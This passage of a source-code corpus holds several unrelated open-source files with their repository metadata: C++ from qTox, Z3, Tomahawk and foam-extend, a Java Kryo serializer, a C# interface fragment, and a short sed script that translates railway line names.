</summary> double Value { get; } /// <summary> /// Gets a value indicating whether an overflow has occurred. /// </summary> bool Overflow { get; } /// <summary> /// Gets a value indicating whether the counter's input signal is active. /// </summary> bool InputSignalActive { get; } } }
JosiCoder/CtLab
Library/FpgaSignalGenerator.Interfaces/IUniversalCounter.cs
C#
gpl-3.0
2,929
#!/bin/bash # # Dutch to German - lines table # # Copyright (C) 2017-2018 be-rail@linuxunderground.be # Distributed under the terms of the GNU General Public License v3 # # Thanks to Claude, Alexandre and PPL (from ICFB) for translation. # # To be sure that sed will behave as expected : export LC_COLLATE="C" LINES_CSV="$(dirname $0)/../db/lines.csv" sed -i \ -e 's/grens/grenze/2' \ "$LINES_CSV"
linuxunderground/be-rail
scripts/nl2de_lines.sh
Shell
gpl-3.0
404
/* Copyright © 2014-2015 by The qTox Project Contributors This file is part of qTox, a Qt-based graphical interface for Tox. qTox is libre software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. qTox is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with qTox. If not, see <http://www.gnu.org/licenses/>. */ #include "friendlist.h" #include "src/model/friend.h" #include "src/persistence/settings.h" #include <QDebug> #include <QHash> #include <QMenu> QHash<int, Friend*> FriendList::friendList; QHash<QByteArray, int> FriendList::key2id; Friend* FriendList::addFriend(int friendId, const ToxPk& friendPk) { auto friendChecker = friendList.find(friendId); if (friendChecker != friendList.end()) qWarning() << "addFriend: friendId already taken"; QString alias = Settings::getInstance().getFriendAlias(friendPk); Friend* newfriend = new Friend(friendId, friendPk, alias); friendList[friendId] = newfriend; key2id[friendPk.getKey()] = friendId; return newfriend; } Friend* FriendList::findFriend(int friendId) { auto f_it = friendList.find(friendId); if (f_it != friendList.end()) return *f_it; return nullptr; } void FriendList::removeFriend(int friendId, bool fake) { auto f_it = friendList.find(friendId); if (f_it != friendList.end()) { if (!fake) Settings::getInstance().removeFriendSettings(f_it.value()->getPublicKey()); friendList.erase(f_it); } } void FriendList::clear() { for (auto friendptr : friendList) delete friendptr; friendList.clear(); } Friend* FriendList::findFriend(const ToxPk& friendPk) { auto id = key2id.find(friendPk.getKey()); if (id != key2id.end()) { Friend* f = findFriend(*id); if (!f) return nullptr; if (f->getPublicKey() == friendPk) return f; } return nullptr; } QList<Friend*> FriendList::getAllFriends() { return friendList.values(); }
Grokafar/qTox
src/friendlist.cpp
C++
gpl-3.0
2,424
/*++ Copyright (c) 2012 Microsoft Corporation Module Name: qflia_tactic.cpp Abstract: Tactic for QF_NIA Author: Leonardo (leonardo) 2012-02-28 Notes: --*/ #include"tactical.h" #include"simplify_tactic.h" #include"propagate_values_tactic.h" #include"solve_eqs_tactic.h" #include"elim_uncnstr_tactic.h" #include"smt_tactic.h" #include"bit_blaster_tactic.h" #include"max_bv_sharing_tactic.h" #include"sat_tactic.h" #include"nla2bv_tactic.h" #include"ctx_simplify_tactic.h" #include"cofactor_term_ite_tactic.h" tactic * mk_qfnia_bv_solver(ast_manager & m, params_ref const & p_ref) { params_ref p = p_ref; p.set_bool(":flat", false); p.set_bool(":hi-div0", true); p.set_bool(":elim-and", true); p.set_bool(":blast-distinct", true); params_ref simp2_p = p; simp2_p.set_bool(":local-ctx", true); simp2_p.set_uint(":local-ctx-limit", 10000000); tactic * r = using_params(and_then(mk_simplify_tactic(m), mk_propagate_values_tactic(m), using_params(mk_simplify_tactic(m), simp2_p), mk_max_bv_sharing_tactic(m), mk_bit_blaster_tactic(m), mk_sat_tactic(m)), p); return r; } tactic * mk_qfnia_premable(ast_manager & m, params_ref const & p_ref) { params_ref pull_ite_p = p_ref; pull_ite_p.set_bool(":pull-cheap-ite", true); pull_ite_p.set_bool(":local-ctx", true); pull_ite_p.set_uint(":local-ctx-limit", 10000000); params_ref ctx_simp_p = p_ref; ctx_simp_p.set_uint(":max-depth", 30); ctx_simp_p.set_uint(":max-steps", 5000000); params_ref simp_p = p_ref; simp_p.set_bool(":hoist-mul", true); params_ref elim_p = p_ref; elim_p.set_uint(":max-memory",20); return and_then(mk_simplify_tactic(m), mk_propagate_values_tactic(m), using_params(mk_ctx_simplify_tactic(m), ctx_simp_p), using_params(mk_simplify_tactic(m), pull_ite_p), mk_elim_uncnstr_tactic(m), skip_if_failed(using_params(mk_cofactor_term_ite_tactic(m), elim_p)), using_params(mk_simplify_tactic(m), simp_p)); } tactic * mk_qfnia_sat_solver(ast_manager & m, params_ref const & p) { params_ref nia2sat_p = p; nia2sat_p.set_uint(":nla2bv-max-bv-size", 64); return and_then(mk_nla2bv_tactic(m, nia2sat_p), mk_qfnia_bv_solver(m, p), mk_fail_if_undecided_tactic()); } tactic * mk_qfnia_tactic(ast_manager & m, params_ref const & p) { return and_then(mk_qfnia_premable(m, p), or_else(mk_qfnia_sat_solver(m, p), mk_smt_tactic())); }
cs-au-dk/Artemis
contrib/Z3/lib/qfnia_tactic.cpp
C++
gpl-3.0
2,956
/* === This file is part of Tomahawk Player - <http://tomahawk-player.org> === * * Copyright 2010-2011, Christian Muehlhaeuser <muesli@tomahawk-player.org> * Copyright 2010-2011, Jeff Mitchell <jeff@tomahawk-player.org> * * Tomahawk is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Tomahawk is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Tomahawk. If not, see <http://www.gnu.org/licenses/>. */ #include "ArtistInfoWidget.h" #include "ArtistInfoWidget_p.h" #include "ui_ArtistInfoWidget.h" #include "audio/AudioEngine.h" #include "playlist/TrackHeader.h" #include "playlist/TreeModel.h" #include "playlist/PlaylistModel.h" #include "playlist/TreeProxyModel.h" #include "database/DatabaseCommand_AllTracks.h" #include "database/DatabaseCommand_AllAlbums.h" #include "utils/StyleHelper.h" #include "utils/TomahawkUtilsGui.h" #include "utils/Logger.h" #include "widgets/OverlayButton.h" #include "widgets/OverlayWidget.h" #include "Pipeline.h" using namespace Tomahawk; ArtistInfoWidget::ArtistInfoWidget( const Tomahawk::artist_ptr& artist, QWidget* parent ) : QWidget( parent ) , ui( new Ui::ArtistInfoWidget ) , m_artist( artist ) , m_infoId( uuid() ) { ui->setupUi( this ); m_plInterface = Tomahawk::playlistinterface_ptr( new MetaPlaylistInterface( this ) ); ui->albums->setFrameShape( QFrame::NoFrame ); ui->albums->setAttribute( Qt::WA_MacShowFocusRect, 0 ); ui->relatedArtists->setFrameShape( QFrame::NoFrame ); ui->relatedArtists->setAttribute( Qt::WA_MacShowFocusRect, 0 ); ui->topHits->setFrameShape( QFrame::NoFrame ); ui->topHits->setAttribute( Qt::WA_MacShowFocusRect, 0 ); TomahawkUtils::unmarginLayout( layout() ); TomahawkUtils::unmarginLayout( ui->layoutWidget->layout() ); TomahawkUtils::unmarginLayout( ui->layoutWidget1->layout() ); TomahawkUtils::unmarginLayout( ui->layoutWidget2->layout() ); TomahawkUtils::unmarginLayout( ui->albumHeader->layout() ); m_albumsModel = new TreeModel( ui->albums ); m_albumsModel->setMode( InfoSystemMode ); ui->albums->setTreeModel( m_albumsModel ); m_relatedModel = new TreeModel( ui->relatedArtists ); m_relatedModel->setColumnStyle( TreeModel::TrackOnly ); ui->relatedArtists->setTreeModel( m_relatedModel ); ui->relatedArtists->setSortingEnabled( false ); ui->relatedArtists->proxyModel()->sort( -1 ); m_topHitsModel = new PlaylistModel( ui->topHits ); m_topHitsModel->setStyle( TrackModel::Short ); ui->topHits->setTrackModel( m_topHitsModel ); ui->topHits->setSortingEnabled( false ); m_pixmap = TomahawkUtils::defaultPixmap( TomahawkUtils::DefaultArtistImage, TomahawkUtils::ScaledCover, QSize( 48, 48 ) ); m_button = new OverlayButton( ui->albums ); m_button->setText( tr( "Click to show SuperCollection Albums" ) ); m_button->setCheckable( true ); m_button->setChecked( true ); connect( m_button, SIGNAL( clicked() ), SLOT( onModeToggle() ) ); connect( m_albumsModel, SIGNAL( modeChanged( Tomahawk::ModelMode ) ), SLOT( setMode( Tomahawk::ModelMode ) ) ); connect( m_albumsModel, SIGNAL( loadingStarted() ), SLOT( onLoadingStarted() ) ); connect( m_albumsModel, SIGNAL( loadingFinished() ), SLOT( onLoadingFinished() ) ); connect( Tomahawk::InfoSystem::InfoSystem::instance(), SIGNAL( info( Tomahawk::InfoSystem::InfoRequestData, QVariant ) ), SLOT( infoSystemInfo( Tomahawk::InfoSystem::InfoRequestData, QVariant ) ) ); load( artist ); } ArtistInfoWidget::~ArtistInfoWidget() { delete ui; } Tomahawk::playlistinterface_ptr ArtistInfoWidget::playlistInterface() const { return m_plInterface; } void ArtistInfoWidget::setMode( ModelMode mode ) { m_button->setChecked( mode == InfoSystemMode ); if ( m_albumsModel->mode() != mode ) onModeToggle(); if ( mode == InfoSystemMode ) m_button->setText( tr( "Click to show SuperCollection Albums" ) ); else m_button->setText( tr( "Click to show Official Albums" ) ); } void ArtistInfoWidget::onModeToggle() { m_albumsModel->setMode( m_button->isChecked() ? InfoSystemMode : DatabaseMode ); m_albumsModel->fetchAlbums( m_artist ); } void ArtistInfoWidget::onLoadingStarted() { m_button->setEnabled( false ); m_button->hide(); } void ArtistInfoWidget::onLoadingFinished() { m_button->setEnabled( true ); m_button->show(); } bool ArtistInfoWidget::isBeingPlayed() const { if ( ui->albums->playlistInterface() == AudioEngine::instance()->currentTrackPlaylist() ) return true; if ( ui->relatedArtists->playlistInterface() == AudioEngine::instance()->currentTrackPlaylist() ) return true; if ( ui->topHits->playlistInterface() == AudioEngine::instance()->currentTrackPlaylist() ) return true; return false; } bool ArtistInfoWidget::jumpToCurrentTrack() { if ( ui->albums->jumpToCurrentTrack() ) return true; if ( ui->relatedArtists->jumpToCurrentTrack() ) return true; if ( ui->topHits->jumpToCurrentTrack() ) return true; return false; } void ArtistInfoWidget::load( const artist_ptr& artist ) { if ( !m_artist.isNull() ) disconnect( m_artist.data(), SIGNAL( updated() ), this, SLOT( onArtistImageUpdated() ) ); m_artist = artist; m_title = artist->name(); m_albumsModel->fetchAlbums( artist ); Tomahawk::InfoSystem::InfoStringHash artistInfo; artistInfo["artist"] = artist->name(); Tomahawk::InfoSystem::InfoRequestData requestData; requestData.caller = m_infoId; requestData.customData = QVariantMap(); requestData.input = artist->name(); requestData.type = Tomahawk::InfoSystem::InfoArtistBiography; Tomahawk::InfoSystem::InfoSystem::instance()->getInfo( requestData ); requestData.input = QVariant::fromValue< Tomahawk::InfoSystem::InfoStringHash >( artistInfo ); requestData.type = Tomahawk::InfoSystem::InfoArtistSimilars; requestData.requestId = TomahawkUtils::infosystemRequestId(); Tomahawk::InfoSystem::InfoSystem::instance()->getInfo( requestData ); requestData.type = Tomahawk::InfoSystem::InfoArtistSongs; requestData.requestId = TomahawkUtils::infosystemRequestId(); Tomahawk::InfoSystem::InfoSystem::instance()->getInfo( requestData ); connect( m_artist.data(), SIGNAL( updated() ), SLOT( onArtistImageUpdated() ) ); onArtistImageUpdated(); } void ArtistInfoWidget::onAlbumsFound( const QList<Tomahawk::album_ptr>& albums, ModelMode mode ) { } void ArtistInfoWidget::infoSystemInfo( Tomahawk::InfoSystem::InfoRequestData requestData, QVariant output ) { if ( requestData.caller != m_infoId ) return; InfoSystem::InfoStringHash trackInfo; trackInfo = requestData.input.value< InfoSystem::InfoStringHash >(); if ( output.canConvert< QVariantMap >() ) { const QString artist = requestData.input.toString(); if ( trackInfo["artist"] != m_artist->name() && artist != m_artist->name() ) { qDebug() << "Returned info was for:" << trackInfo["artist"] << "- was looking for:" << m_artist->name(); return; } } QVariantMap returnedData = output.value< QVariantMap >(); switch ( requestData.type ) { case InfoSystem::InfoArtistBiography: { QVariantMap bmap = output.toMap(); foreach ( const QString& source, bmap.keys() ) { if ( m_longDescription.isEmpty() || source == "last.fm" ) m_longDescription = bmap[ source ].toHash()[ "text" ].toString(); } emit longDescriptionChanged( m_longDescription ); break; } case InfoSystem::InfoArtistSongs: { const QStringList tracks = returnedData["tracks"].toStringList(); QList< query_ptr > queries; int i = 0; foreach ( const QString& track, tracks ) { queries << Query::get( m_artist->name(), track, QString() ); Pipeline::instance()->resolve( queries ); if ( ++i == 15 ) break; } m_topHitsModel->append( queries ); break; } case InfoSystem::InfoArtistSimilars: { const QStringList artists = returnedData["artists"].toStringList(); foreach ( const QString& artist, artists ) { m_relatedModel->addArtists( Artist::get( artist ) ); } break; } default: return; } } void ArtistInfoWidget::onArtistImageUpdated() { if ( m_artist->cover( QSize( 0, 0 ) ).isNull() ) return; m_pixmap = m_artist->cover( QSize( 0, 0 ) ); emit pixmapChanged( m_pixmap ); } void ArtistInfoWidget::changeEvent( QEvent* e ) { QWidget::changeEvent( e ); switch ( e->type() ) { case QEvent::LanguageChange: ui->retranslateUi( this ); break; default: break; } }
mguentner/tomahawk
src/libtomahawk/widgets/infowidgets/ArtistInfoWidget.cpp
C++
gpl-3.0
9,603
package microtrafficsim.core.serialization.kryo.impl.exfmt.entities; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.Serializer; import com.esotericsoftware.kryo.io.Input; import com.esotericsoftware.kryo.io.Output; import microtrafficsim.core.exfmt.ecs.Component; import microtrafficsim.core.exfmt.ecs.entities.PolygonEntity; import microtrafficsim.core.map.Coordinate; import microtrafficsim.core.serialization.kryo.Utils; import java.util.Map; public class PolygonEntitySerializer extends Serializer<PolygonEntity> { @Override public void write(Kryo kryo, Output output, PolygonEntity object) { kryo.writeObject(output, object.getId()); Utils.writeCoordinates(output, object.getOutline()); kryo.writeClassAndObject(output, object.getAll()); } @Override @SuppressWarnings("unchecked") public PolygonEntity read(Kryo kryo, Input input, Class<PolygonEntity> type) { long id = kryo.readObject(input, Long.class); Coordinate[] outline = Utils.readCoordinates(input); PolygonEntity entity = new PolygonEntity(id, outline); kryo.reference(entity); entity.getAll().putAll((Map<Class<? extends Component>, Component>) kryo.readClassAndObject(input)); return entity; } }
sgs-us/microtrafficsim
microtrafficsim-core/src/main/java/microtrafficsim/core/serialization/kryo/impl/exfmt/entities/PolygonEntitySerializer.java
Java
gpl-3.0
1,297
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | foam-extend: Open Source CFD \\ / O peration | Version: 3.2 \\ / A nd | Web: http://www.foam-extend.org \\/ M anipulation | For copyright notice see file Copyright ------------------------------------------------------------------------------- License This file is part of foam-extend. foam-extend is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. foam-extend is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with foam-extend. If not, see <http://www.gnu.org/licenses/>. \*---------------------------------------------------------------------------*/ #include "PstreamReduceOps.H" #include "FieldReuseFunctions.H" #define TEMPLATE template<class Type> #include "FieldFunctionsM.C" // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // namespace Foam { /* * * * * * * * * * * * * * * * Global Functions * * * * * * * * * * * * * */ template<class Type> void component ( Field<typename Field<Type>::cmptType>& res, const UList<Type>& f, const direction d ) { typedef typename Field<Type>::cmptType cmptType; TFOR_ALL_F_OP_F_FUNC_S ( cmptType, res, =, Type, f, .component, const direction, d ) } template<class Type> void T(Field<Type>& res, const UList<Type>& f) { TFOR_ALL_F_OP_F_FUNC(Type, res, =, Type, f, T) } template<class Type, int r> void pow ( Field<typename powProduct<Type, r>::type>& res, const UList<Type>& vf ) { typedef typename powProduct<Type, r>::type powProductType; TFOR_ALL_F_OP_FUNC_F_S ( powProductType, res, =, pow, Type, vf, powProductType, pTraits<powProductType>::zero ) } template<class Type, int r> tmp<Field<typename powProduct<Type, r>::type> > pow ( const UList<Type>& f, typename powProduct<Type, r>::type ) { typedef typename powProduct<Type, r>::type powProductType; tmp<Field<powProductType> > tRes ( new Field<powProductType>(f.size()) ); pow<Type, r>(tRes(), f); return tRes; } template<class Type, int r> tmp<Field<typename powProduct<Type, r>::type> > pow ( const tmp<Field<Type> >& tf, typename powProduct<Type, r>::type ) { typedef typename powProduct<Type, r>::type powProductType; tmp<Field<powProductType> > tRes = reuseTmp<powProductType, Type>::New(tf); pow<Type, r>(tRes(), tf()); reuseTmp<powProductType, Type>::clear(tf); return tRes; } template<class Type> void sqr ( Field<typename outerProduct<Type, Type>::type>& res, const UList<Type>& vf ) { typedef typename outerProduct<Type, Type>::type outerProductType; TFOR_ALL_F_OP_FUNC_F(outerProductType, res, =, sqr, Type, vf) } template<class Type> tmp<Field<typename outerProduct<Type, Type>::type> > sqr(const UList<Type>& f) { typedef typename outerProduct<Type, Type>::type outerProductType; tmp<Field<outerProductType> > tRes ( new Field<outerProductType>(f.size()) ); sqr(tRes(), f); return tRes; } template<class Type> tmp<Field<typename outerProduct<Type, Type>::type> > sqr(const tmp<Field<Type> >& tf) { typedef typename outerProduct<Type, Type>::type outerProductType; tmp<Field<outerProductType> > tRes = reuseTmp<outerProductType, Type>::New(tf); sqr(tRes(), tf()); reuseTmp<outerProductType, Type>::clear(tf); return tRes; } template<class Type> void magSqr(Field<scalar>& res, const UList<Type>& f) { TFOR_ALL_F_OP_FUNC_F(scalar, res, =, magSqr, Type, f) } template<class Type> tmp<Field<scalar> > magSqr(const UList<Type>& f) { tmp<Field<scalar> > tRes(new Field<scalar>(f.size())); magSqr(tRes(), f); return tRes; } template<class Type> tmp<Field<scalar> > magSqr(const tmp<Field<Type> >& tf) { tmp<Field<scalar> > tRes = reuseTmp<scalar, Type>::New(tf); magSqr(tRes(), tf()); reuseTmp<scalar, Type>::clear(tf); return tRes; } template<class Type> void mag(Field<scalar>& res, const UList<Type>& f) { TFOR_ALL_F_OP_FUNC_F(scalar, res, =, mag, Type, f) } template<class Type> tmp<Field<scalar> > mag(const UList<Type>& f) { tmp<Field<scalar> > tRes(new Field<scalar>(f.size())); mag(tRes(), f); return tRes; } template<class Type> tmp<Field<scalar> > mag(const tmp<Field<Type> >& tf) { tmp<Field<scalar> > tRes = reuseTmp<scalar, Type>::New(tf); mag(tRes(), tf()); reuseTmp<scalar, Type>::clear(tf); return tRes; } template<class Type> void cmptMax(Field<typename Field<Type>::cmptType>& res, const UList<Type>& f) { typedef typename Field<Type>::cmptType cmptType; TFOR_ALL_F_OP_FUNC_F(cmptType, res, =, cmptMax, Type, f) } template<class Type> tmp<Field<typename Field<Type>::cmptType> > cmptMax(const UList<Type>& f) { typedef typename Field<Type>::cmptType cmptType; tmp<Field<cmptType> > tRes(new Field<cmptType>(f.size())); cmptMax(tRes(), f); return tRes; } template<class Type> tmp<Field<typename Field<Type>::cmptType> > cmptMax(const tmp<Field<Type> >& tf) { typedef typename Field<Type>::cmptType cmptType; tmp<Field<cmptType> > tRes = reuseTmp<cmptType, Type>::New(tf); cmptMax(tRes(), tf()); reuseTmp<cmptType, Type>::clear(tf); return tRes; } template<class Type> void cmptMin(Field<typename Field<Type>::cmptType>& res, const UList<Type>& f) { typedef typename Field<Type>::cmptType cmptType; TFOR_ALL_F_OP_FUNC_F(cmptType, res, =, cmptMin, Type, f) } template<class Type> tmp<Field<typename Field<Type>::cmptType> > cmptMin(const UList<Type>& f) { typedef typename Field<Type>::cmptType cmptType; tmp<Field<cmptType> > tRes(new Field<cmptType>(f.size())); cmptMin(tRes(), f); return tRes; } template<class Type> tmp<Field<typename Field<Type>::cmptType> > cmptMin(const tmp<Field<Type> >& tf) { typedef typename Field<Type>::cmptType cmptType; tmp<Field<cmptType> > tRes = reuseTmp<cmptType, Type>::New(tf); cmptMin(tRes(), tf()); reuseTmp<cmptType, Type>::clear(tf); return tRes; } template<class Type> void cmptAv(Field<typename Field<Type>::cmptType>& res, const UList<Type>& f) { typedef typename Field<Type>::cmptType cmptType; TFOR_ALL_F_OP_FUNC_F(cmptType, res, =, cmptAv, Type, f) } template<class Type> tmp<Field<typename Field<Type>::cmptType> > cmptAv(const UList<Type>& f) { typedef typename Field<Type>::cmptType cmptType; tmp<Field<cmptType> > tRes(new Field<cmptType>(f.size())); cmptAv(tRes(), f); return tRes; } template<class Type> tmp<Field<typename Field<Type>::cmptType> > cmptAv(const tmp<Field<Type> >& tf) { typedef typename Field<Type>::cmptType cmptType; tmp<Field<cmptType> > tRes = reuseTmp<cmptType, Type>::New(tf); cmptAv(tRes(), tf()); reuseTmp<cmptType, Type>::clear(tf); return tRes; } template<class Type> void cmptMag(Field<Type>& res, const UList<Type>& f) { TFOR_ALL_F_OP_FUNC_F(Type, res, =, cmptMag, Type, f) } template<class Type> tmp<Field<Type> > cmptMag(const UList<Type>& f) { tmp<Field<Type> > tRes(new Field<Type>(f.size())); cmptMag(tRes(), f); return tRes; } template<class Type> tmp<Field<Type> > cmptMag(const tmp<Field<Type> >& tf) { tmp<Field<Type> > tRes = reuseTmp<Type, Type>::New(tf); cmptMag(tRes(), tf()); reuseTmp<Type, Type>::clear(tf); return tRes; } #define TMP_UNARY_FUNCTION(ReturnType, Func) \ \ template<class Type> \ ReturnType Func(const tmp<Field<Type> >& tf1) \ { \ ReturnType res = Func(tf1()); \ tf1.clear(); \ return res; \ } template<class Type> Type max(const UList<Type>& f) { if (f.size()) { Type Max(f[0]); TFOR_ALL_S_OP_FUNC_F_S(Type, Max, =, max, Type, f, Type, Max) return Max; } else { return pTraits<Type>::min; } } TMP_UNARY_FUNCTION(Type, max) template<class Type> Type min(const UList<Type>& f) { if (f.size()) { Type Min(f[0]); TFOR_ALL_S_OP_FUNC_F_S(Type, Min, =, min, Type, f, Type, Min) return Min; } else { return pTraits<Type>::max; } } TMP_UNARY_FUNCTION(Type, min) template<class Type> Type sum(const UList<Type>& f) { if (f.size()) { Type Sum = pTraits<Type>::zero; TFOR_ALL_S_OP_F(Type, Sum, +=, Type, f) return Sum; } else { return pTraits<Type>::zero; } } TMP_UNARY_FUNCTION(Type, sum) template<class Type> scalar sumProd(const UList<Type>& f1, const UList<Type>& f2) { if (f1.size() && (f1.size() == f2.size())) { scalar sp = 0.0; TFOR_ALL_S_OP_FUNC_F_F(scalar, sp, +=, cmptSumMultiply, Type, f1, Type, f2) return sp; } else { return 0.0; } } template<class Type> Type sumCmptProd(const UList<Type>& f1, const UList<Type>& f2) { if (f1.size() && (f1.size() == f2.size())) { Type SumProd = pTraits<Type>::zero; TFOR_ALL_S_OP_FUNC_F_F(Type, SumProd, +=, cmptMultiply, Type, f1, Type, f2) return SumProd; } else { return pTraits<Type>::zero; } } template<class Type> scalar sumSqr(const UList<Type>& f) { if (f.size()) { scalar SumSqr = 0.0; TFOR_ALL_S_OP_FUNC_F(scalar, SumSqr, +=, sqr, Type, f) return SumSqr; } else { return 0.0; } } TMP_UNARY_FUNCTION(scalar, sumSqr) template<class Type> scalar sumMag(const UList<Type>& f) { if (f.size()) { scalar SumMag = 0.0; TFOR_ALL_S_OP_FUNC_F(scalar, SumMag, +=, mag, Type, f) return SumMag; } else { return 0.0; } } TMP_UNARY_FUNCTION(scalar, sumMag) template<class Type> Type sumCmptMag(const UList<Type>& f) { if (f.size()) { Type SumMag = pTraits<Type>::zero; TFOR_ALL_S_OP_FUNC_F(scalar, SumMag, +=, cmptMag, Type, f) return SumMag; } else { return pTraits<Type>::zero; } } TMP_UNARY_FUNCTION(Type, sumCmptMag) template<class Type> Type average(const UList<Type>& f) { if (f.size()) { Type avrg = sum(f)/f.size(); return avrg; } else { WarningIn("average(const UList<Type>&)") << "empty field, returning zero" << endl; return pTraits<Type>::zero; } } TMP_UNARY_FUNCTION(Type, average) #define G_UNARY_FUNCTION(ReturnType, gFunc, Func, rFunc) \ \ template<class Type> \ ReturnType gFunc(const UList<Type>& f) \ { \ ReturnType res = Func(f); \ reduce(res, rFunc##Op<ReturnType>()); \ return res; \ } \ TMP_UNARY_FUNCTION(ReturnType, gFunc) G_UNARY_FUNCTION(Type, gMax, max, max) G_UNARY_FUNCTION(Type, gMin, min, min) G_UNARY_FUNCTION(Type, gSum, sum, sum) G_UNARY_FUNCTION(scalar, gSumSqr, sumSqr, sum) G_UNARY_FUNCTION(scalar, gSumMag, sumMag, sum) G_UNARY_FUNCTION(Type, gSumCmptMag, sumCmptMag, sum) #undef G_UNARY_FUNCTION template<class Type> scalar gSumProd(const UList<Type>& f1, const UList<Type>& f2) { scalar SumProd = sumProd(f1, f2); reduce(SumProd, sumOp<scalar>()); return SumProd; } template<class Type> Type gSumCmptProd(const UList<Type>& f1, const UList<Type>& f2) { scalar SumProd = sumCmptProd(f1, f2); reduce(SumProd, sumOp<scalar>()); return SumProd; } template<class Type> Type gAverage(const UList<Type>& f) { label n = f.size(); reduce(n, sumOp<label>()); if (n > 0) { Type avrg = gSum(f)/n; return avrg; } else { WarningIn("gAverage(const UList<Type>&)") << "empty field, returning zero." << endl; return pTraits<Type>::zero; } } TMP_UNARY_FUNCTION(Type, gAverage) #undef TMP_UNARY_FUNCTION BINARY_FUNCTION(Type, Type, Type, max) BINARY_FUNCTION(Type, Type, Type, min) BINARY_FUNCTION(Type, Type, Type, cmptMultiply) BINARY_FUNCTION(Type, Type, Type, cmptDivide) BINARY_TYPE_FUNCTION(Type, Type, Type, max) BINARY_TYPE_FUNCTION(Type, Type, Type, min) BINARY_TYPE_FUNCTION(Type, Type, Type, cmptMultiply) BINARY_TYPE_FUNCTION(Type, Type, Type, cmptDivide) /* * * * * * * * * * * * * * * * Global operators * * * * * * * * * * * * * */ UNARY_OPERATOR(Type, Type, -, negate) BINARY_OPERATOR(Type, Type, scalar, *, multiply) BINARY_OPERATOR(Type, scalar, Type, *, multiply) BINARY_OPERATOR(Type, Type, scalar, /, divide) BINARY_TYPE_OPERATOR_SF(Type, scalar, Type, *, multiply) BINARY_TYPE_OPERATOR_FS(Type, Type, scalar, *, multiply) BINARY_TYPE_OPERATOR_FS(Type, Type, scalar, /, divide) // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #define PRODUCT_OPERATOR(product, Op, OpFunc) \ \ template<class Type1, class Type2> \ void OpFunc \ ( \ Field<typename product<Type1, Type2>::type>& res, \ const UList<Type1>& f1, \ const UList<Type2>& f2 \ ) \ { \ typedef typename product<Type1, Type2>::type productType; \ TFOR_ALL_F_OP_F_OP_F(productType, res, =, Type1, f1, Op, Type2, f2) \ } \ \ template<class Type1, class Type2> \ tmp<Field<typename product<Type1, Type2>::type> > \ operator Op(const UList<Type1>& f1, const UList<Type2>& f2) \ { \ typedef typename product<Type1, Type2>::type productType; \ tmp<Field<productType> > tRes(new Field<productType>(f1.size())); \ OpFunc(tRes(), f1, f2); \ return tRes; \ } \ \ template<class Type1, class Type2> \ tmp<Field<typename product<Type1, Type2>::type> > \ operator Op(const UList<Type1>& f1, const tmp<Field<Type2> >& tf2) \ { \ typedef typename product<Type1, Type2>::type productType; \ tmp<Field<productType> > tRes = reuseTmp<productType, Type2>::New(tf2); \ OpFunc(tRes(), f1, tf2()); \ reuseTmp<productType, Type2>::clear(tf2); \ return tRes; \ } \ \ template<class Type1, class Type2> \ tmp<Field<typename product<Type1, Type2>::type> > \ operator Op(const tmp<Field<Type1> >& tf1, const UList<Type2>& f2) \ { \ typedef typename product<Type1, Type2>::type productType; \ tmp<Field<productType> > tRes = reuseTmp<productType, Type1>::New(tf1); \ OpFunc(tRes(), tf1(), f2); \ reuseTmp<productType, Type1>::clear(tf1); \ return tRes; \ } \ \ template<class Type1, class Type2> \ tmp<Field<typename product<Type1, Type2>::type> > \ operator Op(const tmp<Field<Type1> >& tf1, const tmp<Field<Type2> >& tf2) \ { \ typedef typename product<Type1, Type2>::type productType; \ tmp<Field<productType> > tRes = \ reuseTmpTmp<productType, Type1, Type1, Type2>::New(tf1, tf2); \ OpFunc(tRes(), tf1(), tf2()); \ reuseTmpTmp<productType, Type1, Type1, Type2>::clear(tf1, tf2); \ return tRes; \ } \ \ template<class Type, class Form, class Cmpt, int nCmpt> \ void OpFunc \ ( \ Field<typename product<Type, Form>::type>& res, \ const UList<Type>& f1, \ const VectorSpace<Form,Cmpt,nCmpt>& vs \ ) \ { \ typedef typename product<Type, Form>::type productType; \ TFOR_ALL_F_OP_F_OP_S \ (productType, res, =,Type, f1, Op, Form, static_cast<const Form&>(vs))\ } \ \ template<class Type, class Form, class Cmpt, int nCmpt> \ tmp<Field<typename product<Type, Form>::type> > \ operator Op(const UList<Type>& f1, const VectorSpace<Form,Cmpt,nCmpt>& vs) \ { \ typedef typename product<Type, Form>::type productType; \ tmp<Field<productType> > tRes(new Field<productType>(f1.size())); \ OpFunc(tRes(), f1, static_cast<const Form&>(vs)); \ return tRes; \ } \ \ template<class Type, class Form, class Cmpt, int nCmpt> \ tmp<Field<typename product<Type, Form>::type> > \ operator Op \ ( \ const tmp<Field<Type> >& tf1, \ const VectorSpace<Form,Cmpt,nCmpt>& vs \ ) \ { \ typedef typename product<Type, Form>::type productType; \ tmp<Field<productType> > tRes = reuseTmp<productType, Type>::New(tf1); \ OpFunc(tRes(), tf1(), static_cast<const Form&>(vs)); \ reuseTmp<productType, Type>::clear(tf1); \ return tRes; \ } \ \ template<class Form, class Cmpt, int nCmpt, class Type> \ void OpFunc \ ( \ Field<typename product<Form, Type>::type>& res, \ const VectorSpace<Form,Cmpt,nCmpt>& vs, \ const UList<Type>& f1 \ ) \ { \ typedef typename product<Form, Type>::type productType; \ TFOR_ALL_F_OP_S_OP_F \ (productType, res, =,Form,static_cast<const Form&>(vs), Op, Type, 